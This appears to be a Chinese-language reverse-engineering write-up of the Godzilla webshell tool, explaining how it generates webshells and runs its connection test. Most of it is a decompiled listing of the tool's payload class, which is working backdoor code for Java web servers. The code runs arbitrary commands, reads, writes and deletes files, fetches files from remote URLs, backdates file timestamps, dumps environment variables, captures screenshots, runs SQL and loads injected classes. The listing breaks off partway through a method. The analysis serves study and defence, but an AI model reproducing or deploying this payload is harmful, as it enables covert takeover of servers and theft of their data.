一 webshell代码生成逻辑
ui下面看命名是一些界面,找到GenerateShellLoder
其中generateButtonClick()为用户点击后的操作
这里是默认内置的加密算法
其中加密算法保存在shell包下
这里读取shells/java/template/ 的*.bin的内容,读取以后然后调用
code = code.replace("{pass}", pass).replace("{secretKey}", secretKey).replace("{findStrLeft}", findStrLeft).replace("{findStrRight}", findStrRight);进行替换
生成以后选择一个目录保存生成的文件总结一下流程
(1)获取客户端传入的密钥等数据
(2)根据传入的加密器选择合适的方法加密
(3)cryption.generate(password, secretKey)加密,其中调用
Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), this.getClass().getSimpleName());在生成payload时会对密钥做md5加密,取前16位
(4)通过写死的模版做pass key的替换,生成webshell。
(5) 选择生成的文件,然后写入到文件中
二 通信逻辑
在哥斯拉连接进行抓包,发现了测试连接三个通信
测试连接的处理类位于/godzilla.jar!/core/ui/component/frame/ShellSetting.class 看处理的过程中的关键方法和类
testButtonClick()
testButtonClick()
内部调用updateTempShellEntity(),其方法的作用主要是设置shellContext,他是ShellEntity类型,根据变量猜测,应该是webshell的相关的配置信息
配置完成后,调用this.shellContext.initShellOpertion()
(1)设置this.payloadModel
(2)设置this.cryptionModel
其中this.cryptionModel.init(this);会发送一次http请求,并初始化参数。其中getpayload()会获取asssets下面的payload.classs字节码。此class实现了命令执行、文件上传/下载、基本信息获取等全部功能。
payload.class的代码还原如下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.io.RandomAccessFile;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.attribute.BasicFileAttributeView;
import java.nio.file.attribute.FileTime;
import java.sql.Connection;
import java.sql.Driver;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
import javax.imageio.ImageIO;
public class payload extends ClassLoader {
public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
HashMap parameterMap = new HashMap();
HashMap sessionMap;
Object servletContext;
Object servletRequest;
Object httpSession;
byte[] requestData;
ByteArrayOutputStream outputStream;
public payload() {
}
public payload(ClassLoader loader) {
super(loader);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public byte[] run() {
try {
String className = this.get("evalClassName");
String methodName = this.get("methodName");
if (methodName != null) {
Class var10000;
if (className == null) {
Method method = this.getClass().getMethod(methodName, (Class[])null);
var10000 = method.getReturnType();
Class var10001 = class$0;
if (var10001 == null) {
try {
var10001 = Class.forName("[B");
} catch (ClassNotFoundException var6) {
throw new NoClassDefFoundError(var6.getMessage());
}
class$0 = var10001;
}
return var10000.isAssignableFrom(var10001) ? (byte[])method.invoke(this, (Object[])null) : "this method returnType not is byte[]".getBytes();
} else {
Class evalClass = (Class)this.sessionMap.get(className);
if (evalClass != null) {
Object object = evalClass.newInstance();
object.equals(this.parameterMap);
object.toString();
Object resultObject = this.parameterMap.get("result");
if (resultObject != null) {
var10000 = class$0;
if (var10000 == null) {
try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var7) {
throw new NoClassDefFoundError(var7.getMessage());
}
class$0 = var10000;
}
return var10000.isAssignableFrom(resultObject.getClass()) ? (byte[])resultObject : "return typeErr".getBytes();
} else {
return new byte[0];
}
} else {
return "evalClass is null".getBytes();
}
}
} else {
return "method is null".getBytes();
}
} catch (Throwable var8) {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(stream);
var8.printStackTrace(printStream);
printStream.flush();
printStream.close();
return stream.toByteArray();
}
}
public void formatParameter() {
this.parameterMap.clear();
this.parameterMap.put("sessionMap", this.sessionMap);
this.parameterMap.put("servletRequest", this.servletRequest);
this.parameterMap.put("servletContext", this.servletContext);
this.parameterMap.put("httpSession", this.httpSession);
byte[] parameterByte = this.requestData;
ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte);
ByteArrayOutputStream tp = new ByteArrayOutputStream();
String key = null;
byte[] lenB = new byte[4];
byte[] data = null;
try {
GZIPInputStream inputStream = new GZIPInputStream(tStream);
while(true) {
while(true) {
byte t = (byte)inputStream.read();
if (t == -1) {
tp.close();
tStream.close();
inputStream.close();
return;
}
if (t == 2) {
key = new String(tp.toByteArray());
inputStream.read(lenB);
int len = bytesToInt(lenB);
byte[] data = new byte[len];
int readOneLen = 0;
while((readOneLen += inputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) {
}
this.parameterMap.put(key, data);
tp.reset();
} else {
tp.write(t);
}
}
}
} catch (Exception var11) {
}
}
public boolean equals(Object obj) {
if (obj != null && this.handle(obj)) {
this.noLog(this.servletContext);
return true;
} else {
return false;
}
}
public boolean handle(Object obj) {
if (obj == null) {
return false;
} else {
Class var10000 = class$1;
if (var10000 == null) {
try {
var10000 = Class.forName("java.io.ByteArrayOutputStream");
} catch (ClassNotFoundException var7) {
throw new NoClassDefFoundError(var7.getMessage());
}
class$1 = var10000;
}
if (var10000.isAssignableFrom(obj.getClass())) {
this.outputStream = (ByteArrayOutputStream)obj;
return false;
} else {
if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
this.servletRequest = obj;
} else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {
this.servletRequest = obj;
} else {
var10000 = class$0;
if (var10000 == null) {
try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var6) {
throw new NoClassDefFoundError(var6.getMessage());
}
class$0 = var10000;
}
if (var10000.isAssignableFrom(obj.getClass())) {
this.requestData = (byte[])obj;
} else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {
this.httpSession = obj;
}
}
this.handlePayloadContext(obj);
if (this.servletRequest != null && this.requestData == null) {
Object var10001 = this.servletRequest;
Class[] var10003 = new Class[1];
Class var10006 = class$2;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var5) {
throw new NoClassDefFoundError(var5.getMessage());
}
class$2 = var10006;
}
var10003[0] = var10006;
Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});
if (retVObject != null) {
var10000 = class$0;
if (var10000 == null) {
try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var4) {
throw new NoClassDefFoundError(var4.getMessage());
}
class$0 = var10000;
}
if (var10000.isAssignableFrom(retVObject.getClass())) {
this.requestData = (byte[])retVObject;
}
}
}
return true;
}
}
}
private void handlePayloadContext(Object obj) {
try {
Method getRequestMethod = this.getMethodByClass(obj.getClass(), "getRequest", (Class[])null);
Method getServletContextMethod = this.getMethodByClass(obj.getClass(), "getServletContext", (Class[])null);
Method getSessionMethod = this.getMethodByClass(obj.getClass(), "getSession", (Class[])null);
if (getRequestMethod != null && this.servletRequest == null) {
this.servletRequest = getRequestMethod.invoke(obj, (Object[])null);
}
if (getServletContextMethod != null && this.servletContext == null) {
this.servletContext = getServletContextMethod.invoke(obj, (Object[])null);
}
if (getSessionMethod != null && this.httpSession == null) {
this.httpSession = getSessionMethod.invoke(obj, (Object[])null);
}
} catch (Exception var5) {
}
}
private boolean supportClass(Object obj, String classNameString) {
if (obj == null) {
return false;
} else {
boolean ret = false;
Class c = null;
try {
if ((c = getClass(String.format(classNameString, "javax"))) != null) {
ret = c.isAssignableFrom(obj.getClass());
}
if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) {
ret = c.isAssignableFrom(obj.getClass());
}
} catch (Exception var6) {
}
return ret;
}
}
public String toString() {
String returnString = null;
if (this.outputStream != null) {
try {
this.initSessionMap();
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream);
this.formatParameter();
if (this.parameterMap.get("evalNextData") != null) {
this.run();
this.requestData = (byte[])this.parameterMap.get("evalNextData");
this.formatParameter();
}
gzipOutputStream.write(this.run());
gzipOutputStream.close();
this.outputStream.close();
} catch (Throwable var3) {
returnString = var3.getMessage();
}
} else {
returnString = "outputStream is null";
}
this.httpSession = null;
this.outputStream = null;
this.parameterMap = null;
this.requestData = null;
this.servletContext = null;
this.servletRequest = null;
this.sessionMap = null;
return returnString;
}
private void initSessionMap() {
if (this.sessionMap == null) {
if (this.getSessionAttribute("sessionMap") != null) {
try {
this.sessionMap = (HashMap)this.getSessionAttribute("sessionMap");
} catch (Exception var3) {
}
} else {
this.sessionMap = new HashMap();
try {
this.setSessionAttribute("sessionMap", this.sessionMap);
} catch (Exception var2) {
}
}
if (this.sessionMap == null) {
this.sessionMap = new HashMap();
}
}
}
public String get(String key) {
try {
return new String((byte[])this.parameterMap.get(key));
} catch (Exception var3) {
return null;
}
}
public byte[] getByteArray(String key) {
try {
return (byte[])this.parameterMap.get(key);
} catch (Exception var3) {
return null;
}
}
public byte[] test() {
return "ok".getBytes();
}
public byte[] getFile() {
String dirName = this.get("dirName");
if (dirName != null) {
dirName = dirName.trim();
String buffer = new String();
try {
String currentDir = (new File(dirName)).getAbsoluteFile() + "/";
File currentDirFile = new File(currentDir);
if (!currentDirFile.exists()) {
return "dir does not exist".getBytes();
}
File[] files = currentDirFile.listFiles();
buffer = buffer + "ok";
buffer = buffer + "n";
buffer = buffer + currentDir;
buffer = buffer + "n";
if (files != null) {
for(int i = 0; i < files.length; ++i) {
File file = files[i];
try {
buffer = buffer + file.getName();
buffer = buffer + "t";
buffer = buffer + (file.isDirectory() ? "0" : "1");
buffer = buffer + "t";
buffer = buffer + (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(file.lastModified()));
buffer = buffer + "t";
buffer = buffer + Integer.toString((int)file.length());
buffer = buffer + "t";
StringBuffer var10000 = (new StringBuffer(String.valueOf(file.canRead() ? "R" : ""))).append(file.canWrite() ? "W" : "");
Class var10002 = class$3;
if (var10002 == null) {
try {
var10002 = Class.forName("java.io.File");
} catch (ClassNotFoundException var10) {
throw new NoClassDefFoundError(var10.getMessage());
}
class$3 = var10002;
}
String fileState = var10000.append(this.getMethodByClass(var10002, "canExecute", (Class[])null) != null ? (file.canExecute() ? "X" : "") : "").toString();
buffer = buffer + (fileState != null && fileState.trim().length() != 0 ? fileState : "F");
buffer = buffer + "n";
} catch (Exception var11) {
buffer = buffer + var11.getMessage();
buffer = buffer + "n";
}
}
}
} catch (Exception var12) {
return String.format("dir does not exist errMsg:%s", var12.getMessage()).getBytes();
}
return buffer.getBytes();
} else {
return "No parameter dirName".getBytes();
}
}
public String listFileRoot() {
File[] files = File.listRoots();
String buffer = new String();
for(int i = 0; i < files.length; ++i) {
buffer = buffer + files[i].getPath();
buffer = buffer + ";";
}
return buffer;
}
public byte[] fileRemoteDown() {
String url = this.get("url");
String saveFile = this.get("saveFile");
if (url != null && saveFile != null) {
FileOutputStream outputStream = null;
try {
InputStream inputStream = (new URL(url)).openStream();
outputStream = new FileOutputStream(saveFile);
byte[] data = new byte[5120];
int readNum = true;
int readNum;
while((readNum = inputStream.read(data)) != -1) {
outputStream.write(data, 0, readNum);
}
outputStream.flush();
outputStream.close();
inputStream.close();
return "ok".getBytes();
} catch (Exception var8) {
if (outputStream != null) {
try {
outputStream.close();
} catch (IOException var7) {
return var7.getMessage().getBytes();
}
}
return String.format("%s : %s", var8.getClass().getName(), var8.getMessage()).getBytes();
}
} else {
return "url or saveFile is null".getBytes();
}
}
public byte[] setFileAttr() {
String type = this.get("type");
String attr = this.get("attr");
String fileName = this.get("fileName");
String ret = "Null";
if (type != null && attr != null && fileName != null) {
try {
File file = new File(fileName);
Class var10001;
if ("fileBasicAttr".equals(type)) {
var10001 = class$3;
if (var10001 == null) {
try {
var10001 = Class.forName("java.io.File");
} catch (ClassNotFoundException var16) {
throw new NoClassDefFoundError(var16.getMessage());
}
class$3 = var10001;
}
if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) {
if (attr.indexOf("R") != -1) {
file.setReadable(true);
}
if (attr.indexOf("W") != -1) {
file.setWritable(true);
}
if (attr.indexOf("X") != -1) {
file.setExecutable(true);
}
ret = "ok";
} else {
ret = "Java version is less than 1.6";
}
} else if ("fileTimeAttr".equals(type)) {
var10001 = class$3;
if (var10001 == null) {
try {
var10001 = Class.forName("java.io.File");
} catch (ClassNotFoundException var15) {
throw new NoClassDefFoundError(var15.getMessage());
}
class$3 = var10001;
}
if (this.getMethodByClass(var10001, "setLastModified", new Class[]{Long.TYPE}) != null) {
Date date = new Date(0L);
StringBuilder builder = new StringBuilder();
builder.append(attr);
char[] cs = new char[13 - builder.length()];
Arrays.fill(cs, '0');
builder.append(cs);
date = new Date(date.getTime() + Long.parseLong(builder.toString()));
file.setLastModified(date.getTime());
ret = "ok";
try {
Class nioFile = Class.forName("java.nio.file.Paths");
Class basicFileAttributeViewClass = Class.forName("java.nio.file.attribute.BasicFileAttributeView");
Class filesClass = Class.forName("java.nio.file.Files");
if (nioFile != null && basicFileAttributeViewClass != null && filesClass != null) {
Path var10000 = Paths.get(fileName);
var10001 = class$4;
if (var10001 == null) {
try {
var10001 = Class.forName("java.nio.file.attribute.BasicFileAttributeView");
} catch (ClassNotFoundException var13) {
throw new NoClassDefFoundError(var13.getMessage());
}
class$4 = var10001;
}
BasicFileAttributeView attributeView = (BasicFileAttributeView)Files.getFileAttributeView(var10000, var10001);
attributeView.setTimes(FileTime.fromMillis(date.getTime()), FileTime.fromMillis(date.getTime()), FileTime.fromMillis(date.getTime()));
}
} catch (Exception var14) {
}
} else {
ret = "Java version is less than 1.2";
}
} else {
ret = "no ExcuteType";
}
} catch (Exception var17) {
return String.format("Exception errMsg:%s", var17.getMessage()).getBytes();
}
} else {
ret = "type or attr or fileName is null";
}
return ret.getBytes();
}
public byte[] readFile() {
String fileName = this.get("fileName");
if (fileName != null) {
File file = new File(fileName);
try {
if (file.exists() && file.isFile()) {
byte[] data = new byte[(int)file.length()];
FileInputStream fileInputStream;
if (data.length > 0) {
int readOneLen = 0;
fileInputStream = new FileInputStream(file);
while((readOneLen += fileInputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) {
}
fileInputStream.close();
} else {
byte[] temData = new byte[3145728];
fileInputStream = new FileInputStream(file);
int readLen = fileInputStream.read(temData);
if (readLen > 0) {
data = new byte[readLen];
System.arraycopy(temData, 0, data, 0, data.length);
}
fileInputStream.close();
Object var9 = null;
}
return data;
} else {
return "file does not exist".getBytes();
}
} catch (Exception var7) {
return var7.getMessage().getBytes();
}
} else {
return "No parameter fileName".getBytes();
}
}
public byte[] uploadFile() {
String fileName = this.get("fileName");
byte[] fileValue = this.getByteArray("fileValue");
if (fileName != null && fileValue != null) {
try {
File file = new File(fileName);
file.createNewFile();
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(fileValue);
fileOutputStream.close();
return "ok".getBytes();
} catch (Exception var5) {
return var5.getMessage().getBytes();
}
} else {
return "No parameter fileName and fileValue".getBytes();
}
}
public byte[] newFile() {
String fileName = this.get("fileName");
if (fileName != null) {
File file = new File(fileName);
try {
return file.createNewFile() ? "ok".getBytes() : "fail".getBytes();
} catch (Exception var4) {
return var4.getMessage().getBytes();
}
} else {
return "No parameter fileName".getBytes();
}
}
public byte[] newDir() {
String dirName = this.get("dirName");
if (dirName != null) {
File file = new File(dirName);
try {
return file.mkdirs() ? "ok".getBytes() : "fail".getBytes();
} catch (Exception var4) {
return var4.getMessage().getBytes();
}
} else {
return "No parameter fileName".getBytes();
}
}
public byte[] deleteFile() {
String dirName = this.get("fileName");
if (dirName != null) {
try {
File file = new File(dirName);
this.deleteFiles(file);
return "ok".getBytes();
} catch (Exception var3) {
return var3.getMessage().getBytes();
}
} else {
return "No parameter fileName".getBytes();
}
}
public byte[] moveFile() {
String srcFileName = this.get("srcFileName");
String destFileName = this.get("destFileName");
if (srcFileName != null && destFileName != null) {
File file = new File(srcFileName);
try {
if (file.exists()) {
return file.renameTo(new File(destFileName)) ? "ok".getBytes() : "fail".getBytes();
} else {
return "The target does not exist".getBytes();
}
} catch (Exception var5) {
return var5.getMessage().getBytes();
}
} else {
return "No parameter srcFileName,destFileName".getBytes();
}
}
public byte[] copyFile() {
String srcFileName = this.get("srcFileName");
String destFileName = this.get("destFileName");
if (srcFileName != null && destFileName != null) {
File srcFile = new File(srcFileName);
File destFile = new File(destFileName);
try {
if (srcFile.exists() && srcFile.isFile()) {
FileInputStream fileInputStream = new FileInputStream(srcFile);
FileOutputStream fileOutputStream = new FileOutputStream(destFile);
byte[] data = new byte[5120];
int readNum = false;
int readNum;
while((readNum = fileInputStream.read(data)) > -1) {
fileOutputStream.write(data, 0, readNum);
}
fileInputStream.close();
fileOutputStream.close();
return "ok".getBytes();
} else {
return "The target does not exist or is not a file".getBytes();
}
} catch (Exception var9) {
return var9.getMessage().getBytes();
}
} else {
return "No parameter srcFileName,destFileName".getBytes();
}
}
public byte[] include() {
byte[] binCode = this.getByteArray("binCode");
String className = this.get("codeName");
if (binCode != null && className != null) {
try {
payload payload = new payload(this.getClass().getClassLoader());
Class module = payload.g(binCode);
this.sessionMap.put(className, module);
return "ok".getBytes();
} catch (Exception var5) {
return this.sessionMap.get(className) != null ? "ok".getBytes() : var5.getMessage().getBytes();
}
} else {
return "No parameter binCode,codeName".getBytes();
}
}
public Object getSessionAttribute(String keyString) {
if (this.httpSession != null) {
Object var10001 = this.httpSession;
Class[] var10003 = new Class[1];
Class var10006 = class$2;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var2) {
throw new NoClassDefFoundError(var2.getMessage());
}
class$2 = var10006;
}
var10003[0] = var10006;
return this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{keyString});
} else {
return null;
}
}
public void setSessionAttribute(String keyString, Object value) {
if (this.httpSession != null) {
Object var10001 = this.httpSession;
Class[] var10003 = new Class[2];
Class var10006 = class$2;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var4) {
throw new NoClassDefFoundError(var4.getMessage());
}
class$2 = var10006;
}
var10003[0] = var10006;
var10006 = class$5;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.Object");
} catch (ClassNotFoundException var3) {
throw new NoClassDefFoundError(var3.getMessage());
}
class$5 = var10006;
}
var10003[1] = var10006;
this.getMethodAndInvoke(var10001, "setAttribute", var10003, new Object[]{keyString, value});
}
}
public byte[] execCommand() {
String argsCountStr = this.get("argsCount");
if (argsCountStr != null && argsCountStr.length() > 0) {
try {
Process process = null;
ArrayList argsList = new ArrayList();
int argsCount = Integer.parseInt(argsCountStr);
if (argsCount <= 0) {
return "argsCount <=0".getBytes();
} else {
for(int i = 0; i < argsCount; ++i) {
String val = this.get(String.format("arg-%d", new Integer(i)));
if (val != null) {
argsList.add(val);
}
}
String[] cmdarray = new String[argsList.size()];
for(int i = 0; i < argsList.size(); ++i) {
cmdarray[i] = (String)argsList.get(i);
}
process = Runtime.getRuntime().exec((String[])argsList.toArray(new String[0]));
if (process == null) {
return "Unable to start process".getBytes();
} else {
InputStream inputStream = process.getInputStream();
InputStream errorInputStream = process.getErrorStream();
ByteArrayOutputStream memStream = new ByteArrayOutputStream(1024);
byte[] buff = new byte[521];
int readNum = false;
int readNum;
if (inputStream != null) {
while((readNum = inputStream.read(buff)) > 0) {
memStream.write(buff, 0, readNum);
}
}
if (errorInputStream != null) {
while((readNum = errorInputStream.read(buff)) > 0) {
memStream.write(buff, 0, readNum);
}
}
return memStream.toByteArray();
}
}
} catch (Exception var10) {
return var10.getMessage().getBytes();
}
} else {
return "No parameter argsCountStr".getBytes();
}
}
public byte[] getBasicsInfo() {
try {
Enumeration keys = System.getProperties().keys();
String basicsInfo = new String();
basicsInfo = basicsInfo + "FileRoot : " + this.listFileRoot() + "n";
basicsInfo = basicsInfo + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "n";
basicsInfo = basicsInfo + "CurrentUser : " + System.getProperty("user.name") + "n";
basicsInfo = basicsInfo + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "n";
try {
String tmpdir = System.getProperty("java.io.tmpdir");
char lastChar = tmpdir.charAt(tmpdir.length() - 1);
if (lastChar != '\' && lastChar != '/') {
tmpdir = tmpdir + File.separator;
}
basicsInfo = basicsInfo + "TempDirectory : " + tmpdir + "n";
} catch (Exception var7) {
}
basicsInfo = basicsInfo + "DocBase : " + this.getDocBase() + "n";
basicsInfo = basicsInfo + "RealFile : " + this.getRealPath() + "n";
basicsInfo = basicsInfo + "servletRequest : " + (this.servletRequest == null ? "null" : String.valueOf(this.servletRequest.hashCode()) + "n");
basicsInfo = basicsInfo + "servletContext : " + (this.servletContext == null ? "null" : String.valueOf(this.servletContext.hashCode()) + "n");
basicsInfo = basicsInfo + "httpSession : " + (this.httpSession == null ? "null" : String.valueOf(this.httpSession.hashCode()) + "n");
try {
basicsInfo = basicsInfo + "OsInfo : " + String.format("os.name: %s os.version: %s os.arch: %s", System.getProperty("os.name"), System.getProperty("os.version"), System.getProperty("os.arch")) + "n";
} catch (Exception var6) {
basicsInfo = basicsInfo + "OsInfo : " + var6.getMessage() + "n";
}
basicsInfo = basicsInfo + "IPList : " + getLocalIPList() + "n";
while(keys.hasMoreElements()) {
Object object = keys.nextElement();
if (object instanceof String) {
String key = (String)object;
basicsInfo = basicsInfo + key + " : " + System.getProperty(key) + "n";
}
}
Map envMap = this.getEnv();
String key;
if (envMap != null) {
for(Iterator iterator = envMap.keySet().iterator(); iterator.hasNext(); basicsInfo = basicsInfo + key + " : " + envMap.get(key) + "n") {
key = (String)iterator.next();
}
}
return basicsInfo.getBytes();
} catch (Exception var8) {
return var8.getMessage().getBytes();
}
}
public byte[] screen() {
try {
Robot robot = new Robot();
BufferedImage as = robot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ImageIO.write(as, "png", ImageIO.createImageOutputStream(bs));
byte[] data = bs.toByteArray();
bs.close();
return data;
} catch (Exception var5) {
return var5.getMessage().getBytes();
}
}
public byte[] execSql() throws Exception {
String charset = this.get("dbCharset");
String dbType = this.get("dbType");
String dbHost = this.get("dbHost");
String dbPort = this.get("dbPort");
String dbUsername = this.get("dbUsername");
String dbPassword = this.get("dbPassword");
String execType = this.get("execType");
String execSql = new String(this.getByteArray("execSql"), charset);
if (dbType != null && dbHost != null && dbPort != null && dbUsername != null && dbPassword != null && execType != null && execSql != null) {
try {
try {
Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
} catch (Exception var24) {
}
try {
Class.forName("oracle.jdbc.driver.OracleDriver");
} catch (Exception var23) {
try {
Class.forName("oracle.jdbc.OracleDriver");
} catch (Exception var22) {
}
}
try {
Class.forName("com.mysql.cj.jdbc.Driver");
} catch (Exception var21) {
try {
Class.forName("com.mysql.jdbc.Driver");
} catch (Exception var20) {
}
}
try {
Class.forName("org.postgresql.Driver");
} catch (Exception var19) {
}
try {
Class.forName("org.sqlite.JDBC");
} catch (Exception var18) {
}
String connectUrl = null;
if ("mysql".equals(dbType)) {
connectUrl = "jdbc:mysql://" + dbHost + ":" + dbPort + "/" + "?useSSL=false&serverTimezone=UTC&zeroDateTimeBehavior=convertToNull&noDatetimeStringSync=true&characterEncoding=utf-8";
} else if ("oracle".equals(dbType)) {
connectUrl = "jdbc:oracle:thin:@" + dbHost + ":" + dbPort + ":orcl";
} else if ("sqlserver".equals(dbType)) {
connectUrl = "jdbc:sqlserver://" + dbHost + ":" + dbPort + ";";
} else if ("postgresql".equals(dbType)) {
connectUrl = "jdbc:postgresql://" + dbHost + ":" + dbPort + "/";
} else if ("sqlite".equals(dbType)) {
connectUrl = "jdbc:sqlite:" + dbHost;
}
if (dbHost.indexOf("jdbc:") != -1) {
connectUrl = dbHost;
}
if (connectUrl != null) {
try {
Connection dbConn = null;
try {
dbConn = getConnection(connectUrl, dbUsername, dbPassword);
} catch (Exception var17) {
}
if (dbConn == null) {
dbConn = DriverManager.getConnection(connectUrl, dbUsername, dbPassword);
}
Statement statement = dbConn.createStatement();
if (!execType.equals("select")) {
int affectedNum = statement.executeUpdate(execSql);
statement.close();
dbConn.close();
return ("Query OK, " + affectedNum + " rows affected").getBytes();
} else {
String data = "okn";
ResultSet resultSet = statement.executeQuery(execSql);
ResultSetMetaData metaData = resultSet.getMetaData();
int columnNum = metaData.getColumnCount();
int i;
for(i = 0; i < columnNum; ++i) {
data = data + this.base64Encode(String.format("%s", metaData.getColumnName(i + 1))) + "t";
}
for(data = data + "n"; resultSet.next(); data = data + "n") {
for(i = 0; i < columnNum; ++i) {
data = data + this.base64Encode(String.format("%s", resultSet.getString(i + 1))) + "t";
}
}
resultSet.close();
statement.close();
dbConn.close();
return data.getBytes();
}
} catch (Exception var25) {
return var25.getMessage().getBytes();
}
} else {
return ("no " + dbType + " Dbtype").getBytes();
}
} catch (Exception var26) {
return var26.getMessage().getBytes();
}
} else {
return "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql".getBytes();
}
}
public byte[] close() {
try {
if (this.httpSession != null) {
this.getMethodAndInvoke(this.httpSession, "invalidate", (Class[])null, (Object[])null);
}
return "ok".getBytes();
} catch (Exception var2) {
return var2.getMessage().getBytes();
}
}
public byte[] bigFileUpload() {
String fileName = this.get("fileName");
byte[] fileContents = this.getByteArray("fileContents");
String position = this.get("position");
try {
if (position == null) {
FileOutputStream fileOutputStream = new FileOutputStream(fileName, true);
fileOutputStream.write(fileContents);
fileOutputStream.flush();
fileOutputStream.close();
} else {
RandomAccessFile fileOutputStream = new RandomAccessFile(fileName, "rw");
fileOutputStream.seek((long)Integer.parseInt(position));
fileOutputStream.write(fileContents);
fileOutputStream.close();
}
return "ok".getBytes();
} catch (Exception var5) {
return String.format("Exception errMsg:%s", var5.getMessage()).getBytes();
}
}
public byte[] bigFileDownload() {
String fileName = this.get("fileName");
String mode = this.get("mode");
String readByteNumString = this.get("readByteNum");
String positionString = this.get("position");
try {
if ("fileSize".equals(mode)) {
return String.valueOf((new File(fileName)).length()).getBytes();
} else if ("read".equals(mode)) {
int position = Integer.valueOf(positionString);
int readByteNum = Integer.valueOf(readByteNumString);
byte[] readData = new byte[readByteNum];
FileInputStream fileInputStream = new FileInputStream(fileName);
fileInputStream.skip((long)position);
int readNum = fileInputStream.read(readData);
fileInputStream.close();
return readNum == readData.length ? readData : copyOf(readData, readNum);
} else {
return "no mode".getBytes();
}
} catch (Exception var10) {
return String.format("Exception errMsg:%s", var10.getMessage()).getBytes();
}
}
public static byte[] copyOf(byte[] original, int newLength) {
byte[] arrayOfByte = new byte[newLength];
System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength));
return arrayOfByte;
}
public Map getEnv() {
try {
int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3));
if (jreVersion >= 5) {
try {
Class var10000 = class$6;
if (var10000 == null) {
try {
var10000 = Class.forName("java.lang.System");
} catch (ClassNotFoundException var4) {
throw new NoClassDefFoundError(var4.getMessage());
}
class$6 = var10000;
}
Method method = var10000.getMethod("getenv");
if (method != null) {
var10000 = method.getReturnType();
Class var10001 = class$7;
if (var10001 == null) {
try {
var10001 = Class.forName("java.util.Map");
} catch (ClassNotFoundException var3) {
throw new NoClassDefFoundError(var3.getMessage());
}
class$7 = var10001;
}
if (var10000.isAssignableFrom(var10001)) {
return (Map)method.invoke((Object)null, (Object[])null);
}
}
return null;
} catch (Exception var5) {
return null;
}
} else {
return null;
}
} catch (Exception var6) {
return null;
}
}
public String getDocBase() {
try {
return this.getRealPath();
} catch (Exception var2) {
return var2.getMessage();
}
}
public static Connection getConnection(String url, String userName, String password) {
Connection connection = null;
try {
Class var10000 = class$8;
if (var10000 == null) {
try {
var10000 = Class.forName("java.sql.DriverManager");
} catch (ClassNotFoundException var15) {
throw new NoClassDefFoundError(var15.getMessage());
}
class$8 = var10000;
}
Field[] fields = var10000.getDeclaredFields();
Field field = null;
for(int i = 0; i < fields.length; ++i) {
field = fields[i];
if (field.getName().indexOf("rivers") != -1) {
var10000 = class$9;
if (var10000 == null) {
try {
var10000 = Class.forName("java.util.List");
} catch (ClassNotFoundException var14) {
throw new NoClassDefFoundError(var14.getMessage());
}
class$9 = var10000;
}
if (var10000.isAssignableFrom(field.getType())) {
break;
}
}
field = null;
}
if (field != null) {
field.setAccessible(true);
List drivers = (List)field.get((Object)null);
Iterator iterator = drivers.iterator();
while(iterator.hasNext() && connection == null) {
try {
Object object = iterator.next();
Driver driver = null;
var10000 = class$10;
if (var10000 == null) {
try {
var10000 = Class.forName("java.sql.Driver");
} catch (ClassNotFoundException var13) {
